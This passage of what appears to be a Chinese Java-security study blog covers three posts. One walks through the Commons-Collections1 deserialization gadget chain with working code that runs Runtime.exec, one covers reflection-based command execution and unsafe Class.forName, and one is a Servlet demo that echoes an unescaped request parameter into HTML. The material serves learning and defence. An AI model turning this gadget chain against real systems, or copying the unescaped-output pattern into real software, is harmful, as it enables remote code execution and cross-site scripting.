URL-&gt;hashCode () 。</p><p>另外，ysoserial 为了防⽌在⽣成 Payload 的时候也执⾏了 URL 请求和 DNS 查询，所以重写了⼀个 SilentURLStreamHandler 类，这不是必须的。</p><h4 id="commoncollections1利用链"><a class="markdownIt-Anchor" href="#commoncollections1利用链">#</a> CommonCollections1 利⽤链</h4><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.vulhub.Ser;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.TransformedMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CommonCollections1</span> &#123;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]&#123;</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Runtime.getRuntime()),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;,</span><br><span class="line"><span class="keyword">new</span> <span class="title class_">Object</span>[]</span><br><span class="line">&#123;<span class="string">&quot;/System/Applications/Calculator.app/Contents/MacOS/Calculator&quot;</span>&#125;),</span><br><span class="line"> &#125;;</span><br><span class="line"> <span class="type">Transformer</span> <span class="variable">transformerChain</span> <span class="operator">=</span> newChainedTransformer(transformers);</span><br><span class="line"> <span class="type">Map</span> <span class="variable">innerMap</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HashMap</span>();</span><br><span class="line"> <span class="type">Map</span> <span class="variable">outerMap</span> <span class="operator">=</span> TransformedMap.decorate(innerMap, <span class="literal">null</span>,transformerChain);</span><br><span class="line"> outerMap.put(<span class="string">&quot;test&quot;</span>, <span class="string">&quot;xxxx&quot;</span>);</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><strong>TransformedMap</strong></p><p>TransformedMap ⽤于对 Java 标准数据结构 Map 做⼀个修饰，被修饰过的 Map 在添加新的元素时，将可以执⾏⼀个回调。我们通过下⾯这⾏代码对 innerMap 进⾏修饰，传出的 outerMap 即是修饰后的 Map：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">Map</span> <span class="variable">outerMap</span> <span class="operator">=</span> TransformedMap.decorate(innerMap, keyTransformer,valueTransformer);</span><br></pre></td></tr></table></figure></div><p>其中，keyTransformer 是处理新元素的 Key 的回调，valueTransformer 是处理新元素的 value 的回调。我们这⾥所说的” 回调 “，并不是传统意义上的⼀个回调函数，⽽是⼀个实现了 Transformer 接⼝的类。</p><p><strong>Transformer</strong></p><p>Transformer 是⼀个接⼝，它只有⼀个待实现的⽅法：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">Transformer</span> &#123;</span><br><span class="line"> <span class="keyword">public</span> Object <span class="title function_">transform</span><span class="params">(Object input)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>TransformedMap 在转换 Map 的新元素时，就会调⽤ transform ⽅法，这个过程就类似在调⽤⼀个” 回调函数 “，这个回调的参数是原始对象。</p><p><strong>ConstantTransformer</strong></p><p>ConstantTransformer 是实现了 Transformer 接⼝的⼀个类，它的过程就是在构造函数的时候传⼊⼀个对象，并在 transform ⽅法将这个对象再返回：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="title function_">ConstantTransformer</span><span class="params">(Object constantToReturn)</span> &#123;</span><br><span class="line"> <span class="built_in">super</span>();</span><br><span class="line"> iConstant = constantToReturn;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">public</span> Object <span class="title function_">transform</span><span class="params">(Object input)</span> &#123;</span><br><span class="line"> <span class="keyword">return</span> iConstant;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>所以他的作⽤其实就是包装任意⼀个对象，在执⾏回调时返回这个对象，进⽽⽅便后续操作。</p><p><strong>InvokerTransformer</strong></p><p>InvokerTransformer 是实现了 Transformer 接⼝的⼀个类，这个类可以⽤来执⾏任意⽅法，这也是反序列化能执⾏任意代码的关键。</p><p>在实例化这个 InvokerTransformer 时，需要传⼊三个参数，第⼀个参数是待执⾏的⽅法名，第⼆个参数是这个函数的参数列表的参数类型，第三个参数是传给这个函数的参数列表：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="title function_">InvokerTransformer</span><span class="params">(String methodName, Class[] paramTypes, Object[]args)</span> &#123;</span><br><span class="line"> <span class="built_in">super</span>();</span><br><span class="line"> iMethodName = methodName;</span><br><span class="line"> iParamTypes = paramTypes;</span><br><span class="line"> iArgs = args;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>后⾯的回调 transform ⽅法，就是执⾏了 input 对象的 iMethodName ⽅法：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> Object <span class="title function_">transform</span><span class="params">(Object input)</span> &#123;</span><br><span class="line"> <span class="keyword">if</span> (input == <span class="literal">null</span>) &#123;</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">try</span> &#123;</span><br><span class="line"> <span class="type">Class</span> <span class="variable">cls</span> <span class="operator">=</span> input.getClass();</span><br><span class="line"> <span class="type">Method</span> <span class="variable">method</span> <span class="operator">=</span> cls.getMethod(iMethodName, iParamTypes);</span><br><span class="line"> <span class="keyword">return</span> method.invoke(input, iArgs);</span><br><span class="line"> &#125; <span class="keyword">catch</span> (NoSuchMethodException ex) &#123;<span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">FunctorException</span>(<span class="string">&quot;InvokerTransformer: The method &#x27;&quot;</span> +iMethodName + <span class="string">&quot;&#x27; on &#x27;&quot;</span> + input.getClass() + <span class="string">&quot;&#x27; does not exist&quot;</span>);</span><br><span class="line"> &#125; <span class="keyword">catch</span> (IllegalAccessException ex) &#123;<span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">FunctorException</span>(<span class="string">&quot;InvokerTransformer: The method &#x27;&quot;</span> +iMethodName + <span class="string">&quot;&#x27; on &#x27;&quot;</span> + input.getClass() + <span class="string">&quot;&#x27; cannot be accessed&quot;</span>);</span><br><span class="line"> &#125; <span class="keyword">catch</span> (InvocationTargetException ex) &#123;<span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">FunctorException</span>(<span class="string">&quot;InvokerTransformer: The method &#x27;&quot;</span> +iMethodName + <span class="string">&quot;&#x27; on &#x27;&quot;</span> + input.getClass() + <span class="string">&quot;&#x27; threw an exception&quot;</span>, ex);</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><strong>ChainedTransformer</strong></p><p>ChainedTransformer 也是实现了 Transformer 接⼝的⼀个类，它的作⽤是将内部的多个 Transformer 串在⼀起。通俗来说就是，前⼀个回调返回的结果，作为后⼀个回调的参数传⼊，我们画⼀个图做示意：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409141342971.png" alt="image-20240914134211866"></p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="title function_">ChainedTransformer</span><span class="params">(Transformer[] transformers)</span> &#123;</span><br><span class="line"> <span class="built_in">super</span>();</span><br><span class="line"> iTransformers = transformers;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">public</span> Object <span class="title function_">transform</span><span class="params">(Object object)</span> &#123;</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; iTransformers.length; i++) &#123;</span><br><span class="line"> object = iTransformers[i].transform(object);</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">return</span> object;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><strong>最终</strong></p><p>创建了⼀个 ChainedTransformer，其中包含两个 Transformer：第⼀个是 ConstantTransformer，直接返回当前环境的 Runtime 对象；第⼆个是 InvokerTransformer，执⾏ Runtime 对象的 exec ⽅法，参数是 /System/Applications/Calculator.app/Contents/MacOS/Calculator 。</p><p>当然，这个 transformerChain 只是⼀系列回调，我们需要⽤其来包装 innerMap，使⽤的前⾯说到的 TransformedMap.decorate ：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">Map</span> <span class="variable">innerMap</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HashMap</span>();</span><br><span class="line"><span class="type">Map</span> <span class="variable">outerMap</span> <span class="operator">=</span> TransformedMap.decorate(innerMap, <span class="literal">null</span>, transformerChain);</span><br></pre></td></tr></table></figure></div><p>最后，怎么触发回调呢？就是向 Map 中放⼊⼀个新的元素：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">outerMap.put(<span class="string">&quot;test&quot;</span>, <span class="string">&quot;xxxx&quot;</span>);</span><br></pre></td></tr></table></figure></div>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;反序列化&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#反序列化&quot;&gt;#&lt;/a&gt; 反序列化&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;序列化&lt;/strong&gt;：将内存中的对象压缩成字节流&lt;br&gt;
&lt;strong&gt;反序列化&lt;/strong&gt;：将字节流</summary>
      
    
    
    
    <category term="Web JAVA" scheme="http://example.com/categories/Web-JAVA/"/>
    
    
  </entry>
  
  <entry>
    <title>JAVA-Reflect</title>
    <link href="http://example.com/2024/08/28/JAVA-Reflect/"/>
    <id>http://example.com/2024/08/28/JAVA-Reflect/</id>
    <published>2024-08-28T07:00:59.000Z</published>
    <updated>2024-08-29T08:18:50.964Z</updated>
    
    <content type="html"><![CDATA[<h2 id="java反射"><a class="markdownIt-Anchor" href="#java反射">#</a> Java 反射</h2><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408281504377.jpeg" alt="深入理解java反射 - 知乎"></p><p><a class="link" href="https://xz.aliyun.com/t/9117?time__1311=n4%2BxnD0DuADtBrxBqooGkDR783WKxEhD0Kdx">JAVA 安全基础（二）-- 反射机制 - 先知社区 (aliyun.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>反射是 Java 的特征之一，是一种间接操作目标对象的机制，核心是 JVM 在运行状态的时候才动态加载类，<strong>对于任意一个类都能够知道这个类所有的属性和方法，并且对于任意一个对象，都能够调用它的方法 / 访问属性</strong>。这种动态获取信息以及动态调用对象方法的功能成为 Java 语言的反射机制。** 通过使用反射我们不仅可以获取到任何类的成员方法 (Methods)、成员变量 (Fields)、构造方法 (Constructors) 等信息，还可以动态创建 Java 类实例、调用任意的类方法、修改任意的类成员变量值等。** 反射使原生 java 变成动态编译</p><p>反射：将类的各个组成部分封装为其他对象，这就是反射机制。</p><p>1、可以在程序运行过程中，操作这些对象。</p><p>2、可以解耦，提高程序的可扩展性。</p><p><strong>为什么用到反射：</strong></p><p>从官方定义中可以找到，在运行时获得<strong>程序</strong>或<strong>程序集</strong>中每一个类型的<strong>成员和成员的信息</strong>，从而<strong>动态的创建、修改、调用、获取其属性</strong>，而<strong>不需要事先知道运行的对象是谁</strong>。划重点：在运行时而不是编译时。（<strong>不改变原有代码逻辑，自行运行的时候动态创建和编译即可</strong>）</p><h3 id="反射获取class类"><a class="markdownIt-Anchor" href="#反射获取class类">#</a> 反射获取 Class 类</h3><p>Java 虽不像 PHP 那么灵活，但其提供的 “反射” 功能，也是可以提供⼀些动态特性。⽐如，这样⼀段代码，在你不知道传⼊的参数值的时候，你是不知道他的作⽤是什么的：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">execute</span><span class="params">(String className, String methodName)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line"> <span class="type">Class</span> <span class="variable">clazz</span> <span class="operator">=</span> Class.forName(className);</span><br><span class="line"> clazz.getMethod(methodName).invoke(clazz.newInstance());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>⼏个在反射⾥极为重要的⽅法：</p><ul><li>获取类的⽅法：  <code>forName</code></li><li>实例化类对象的⽅法： <code> newInstance</code></li><li>获取函数的⽅法： <code> getMethod</code></li><li>执⾏函数的⽅法：  <code>invoke</code></li></ul><p>基本上，这⼏个⽅法包揽了 Java 安全⾥各种和反射有关的 Payload。</p><p><code>forName </code> 不是获取 “类” 的唯⼀途径，通常来说我们有如下三种⽅式获取⼀个 “类”，也就是  <code>java.lang.Class</code>  对象：</p><ul><li><code>obj.getClass() </code> 如果上下⽂中存在某个类的实例 obj ，那么我们可以直接通过 <code>obj.getClass() </code> 来获取它的类，但使用实例化对象的 <code>getClass()</code>  方法，需要本身创建一个对象，本身就没有了使用反射机制意义。</li><li><code>Test.class </code> 如果你已经加载了某个类，只是想获取到它的  <code>java.lang.Class </code> 对象，那么就直接拿它的 <code>class</code>  属性即可。这个⽅法其实不属于反射。</li><li><code>Class.forName </code> 如果你知道某个类的名字，想获取到这个类，就可以使⽤ <code>forName </code> 来获取</li><li>通过类加载器 <code>ClassLoader</code>  获取类，但极少用到</li></ul><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408282158334.png" alt="image-20240828215845252"></p><h3 id="获取field成员变量"><a class="markdownIt-Anchor" href="#获取field成员变量">#</a> 获取 Field 成员变量</h3><p><strong>Class 类中用于获取成员变量的方法</strong></p><ul><li><code>Field[] getFields()</code> : 返回所有公共成员变量对象的数组</li><li><code>Field[] getDeclaredFields()</code> : 返回所有成员变量对象的数组</li><li><code>Field getField(String name)</code> : 返回单个公共成员变量对象</li><li><code>Field getDeclaredField(Stringname)</code> : 返回单个成员变量对象</li></ul><p><strong>Field 类中用于创建对象的方法</strong></p><ul><li><code>Object get(Object obj)</code>  获取值</li><li><code>void set(Object obj, Object value)</code> : 赋值</li></ul><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408282233620.png" alt="image-20240828223322539"></p><p>获取成员变量是为了获取值或赋值</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408282246305.png" alt="image-20240828224644254"></p><h3 id="获取constructor构造方法"><a class="markdownIt-Anchor" href="#获取constructor构造方法">#</a> 获取 Constructor 构造方法</h3><p><strong>Class 类中用于获取构造方法的方法</strong></p><ul><li><code>Constructor[] getConstructors()</code> : 返回所有公共构造方法对象的数组</li><li><code>Constructor[] getDeclaredConstructors()</code> : 返回所有构造方法对象的数组</li><li><code>Constructor getConstructor(Class.. parameterTypes)</code> : 返回单个公共构造方法对象</li><li><code>Constructor getDeclaredConstructor(Class.. parameterTypes)</code> : 返回单个构造方法对象</li></ul><p><strong>Constructor 类中用于创建对象的方法</strong></p><ul><li><code>T newInstance(0bject...initargs)</code> : 根据指定的构造方法创建对象</li><li><code>setAccessible(boolean flag)</code> : 设置为 true, 表示取消访问检查</li></ul><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408291346057.png" alt="image-20240829134559846"></p><p><strong>newInstance 方法：</strong></p><ul><li>newInstance 方法是 java.lang.reflect.Constructor 类的一个方法，用于创建新的类实例。</li><li>它通过调用类的构造方法来实例化对象。</li><li>newInstance 方法通常用于动态创建对象，尤其是在反射时，允许在运行时通过 Constructor 对象调用类的构造方法。</li></ul><p><strong>setAccessible (true) 方法：</strong></p><ul><li>setAccessible 方法是 java.lang.reflect.AccessibleObject 类的一个方法，用于启用或禁用 Java 语言访问检查。</li><li>当 setAccessible (true) 被调用时，表示反射对象在使用时取消了访问权限检查，可以访问类的私有成员。</li><li>这通常用于访问那些受到访问控制限制的类的私有成员（字段、方法、构造方法等）。</li></ul><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408291409598.png" alt="image-20240829140946547"></p><h3 id="获取method成员方法"><a class="markdownIt-Anchor" href="#获取method成员方法">#</a> 获取 Method 成员方法</h3><p><strong>Class 类中用于获取成员方法的方法</strong></p><p><code>Method[] getMethods()</code> : 返回所有公共成员方法对象的数组，包括继承的</p><p><code>Method[] getDeclaredMethods()</code> : 返回所有成员方法对象的数组，不包括继承的</p><p><code>Method getMethod(String name, Class... parameterTypes)</code> : 返回单个公共成员方法对象</p><p><code>Method getDeclaredMethod(String name,Class..parameterTypes)</code> : 返回单个成员方法对象</p><p><strong>Method 类中用于创建对象的方法</strong></p><p><code>Object invoke(Object obj, Object... args)</code> : 运行方法</p><p>参数一：用 obj 对象调用该方法</p><p>参数二：调用方法的传递的参数 (如果没有就不写)</p><p>返回值：方法的返回值 (如果没有就不写)</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408291447557.png" alt="image-20240829144743476"></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408291512663.png" alt="image-20240829151206606"></p><h3 id="反射-命令执行"><a class="markdownIt-Anchor" href="#反射-命令执行">#</a> 反射 - 命令执行</h3><p>原型：java 自带包含有的 java.lang 中有对于本机控制台的调用方法</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408291534402.png" alt="image-20240829153435355"></p><p>如果是第三方 jar 包呢</p><ul><li>首先使用 Class.forName 获取 java.lang.Runtime 类</li><li>通过 getMethods 获取该类<strong>包括继承</strong>的<strong>公共成员</strong>方法，并遍历出来</li></ul><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 使用 Class.forName 获取 java.lang.Runtime 类</span></span><br><span class="line"><span class="type">Class</span> <span class="variable">aClass</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;java.lang.Runtime&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取 Runtime 类的所有公共方法</span></span><br><span class="line">Method[] methods = aClass.getMethods();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 遍历所有方法并打印输出方法信息</span></span><br><span class="line"><span class="keyword">for</span> (Method me : methods) &#123;</span><br><span class="line">    System.out.println(me);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><ul><li>通过查询找到对应需要的成员方法</li><li>根据成员方法的名称和参数，分别对应获取所需成员方法</li><li>通过使用获取的方法依次调用执行</li></ul><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408291549667.png" alt="image-20240829154936606"></p><h3 id="不安全的反射"><a class="markdownIt-Anchor" href="#不安全的反射">#</a> 不安全的反射</h3><p><strong>应用程序使用具有反射功能的外部输入来选择要使用的类或代码，可能被攻击者利用而输入或选择不正确的类或代码</strong>。</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">ref</span><span class="params">(String name)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line"> Class.forName(name);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>如果用户可以控制 name 的输入，就有可能构建恶意代码造成严重的漏洞</p><p>后面应该就是反序列化了</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;java反射&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#java反射&quot;&gt;#&lt;/a&gt; Java 反射&lt;/h2&gt;
&lt;p&gt;&lt;img lazyload src=&quot;/images/loading.svg&quot; data-src=&quot;https://</summary>
      
    
    
    
    <category term="Web JAVA" scheme="http://example.com/categories/Web-JAVA/"/>
    
    
  </entry>
  
  <entry>
    <title>JAVA-Servlet&amp;Filter&amp;Listener</title>
    <link href="http://example.com/2024/08/26/JAVA-Servlet-Filter-Listener/"/>
    <id>http://example.com/2024/08/26/JAVA-Servlet-Filter-Listener/</id>
    <published>2024-08-26T06:40:14.000Z</published>
    <updated>2024-08-28T06:58:51.195Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Servlet"><a href="#Servlet" class="headerlink" title="Servlet"></a>Servlet</h2><p>Servlet路由：</p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">//web.xml</span><br><span class="line"><span class="tag">&lt;<span class="name">servlet</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">servlet-name</span>&gt;</span>index<span class="tag">&lt;/<span class="name">servlet-name</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">servlet-class</span>&gt;</span>com.example.demo.IndexServlet<span class="tag">&lt;/<span class="name">servlet-class</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">servlet</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">servlet-mapping</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">servlet-name</span>&gt;</span>index<span class="tag">&lt;/<span class="name">servlet-name</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">url-pattern</span>&gt;</span>/index<span class="tag">&lt;/<span class="name">url-pattern</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">servlet-mapping</span>&gt;</span></span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//IndexServlet</span></span><br><span class="line"><span class="keyword">package</span> com.example.demo;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> jakarta.servlet.ServletConfig;</span><br><span class="line"><span class="keyword">import</span> jakarta.servlet.ServletException;</span><br><span class="line"><span class="keyword">import</span> jakarta.servlet.ServletRequest;</span><br><span class="line"><span class="keyword">import</span> jakarta.servlet.ServletResponse;</span><br><span class="line"><span class="keyword">import</span> jakarta.servlet.http.HttpServletRequest;</span><br><span class="line"><span class="keyword">import</span> jakarta.servlet.http.HttpServletResponse;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.PrintWriter;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">IndexServlet</span> <span class="keyword">extends</span> <span class="title class_">HelloServlet</span>&#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">(ServletConfig config)</span> <span class="keyword">throws</span> ServletException &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;IndexServlet init&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">service</span><span class="params">(HttpServletRequest req, HttpServletResponse resp)</span> <span class="keyword">throws</span> ServletException, IOException &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;HttpServletRequest service&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">service</span><span class="params">(ServletRequest req, ServletResponse res)</span> <span class="keyword">throws</span> ServletException, IOException &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;IndexServlet service&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doGet</span><span class="params">(HttpServletRequest request, HttpServletResponse response)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> request.getParameter(<span class="string">&quot;name&quot;</span>);</span><br><span class="line">        <span class="type">PrintWriter</span> <span class="variable">out</span> <span class="operator">=</span> response.getWriter();</span><br><span class="line">        out.println(<span class="string">&quot;&lt;h1&gt;Hello &quot;</span>+name+<span class="string">&quot;&lt;/h1&gt;&quot;</span>);</span><br><span class="line">        System.out.println(name + <span class="string">&quot;----------doGET&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">destroy</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;IndexServlet destroy&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h2 id="SQL预编译"><a href="#SQL预编译" class="headerlink" title="SQL预编译"></a>SQL预编译</h2><p><strong>预编译（Prepared Statement）</strong> 是指在执行 SQL 查询之前，将 SQL 语句的结构（查询计划）提前编译和优化，并将其存储在数据库服务器的内存中。当应用程序多次执行相同的 SQL 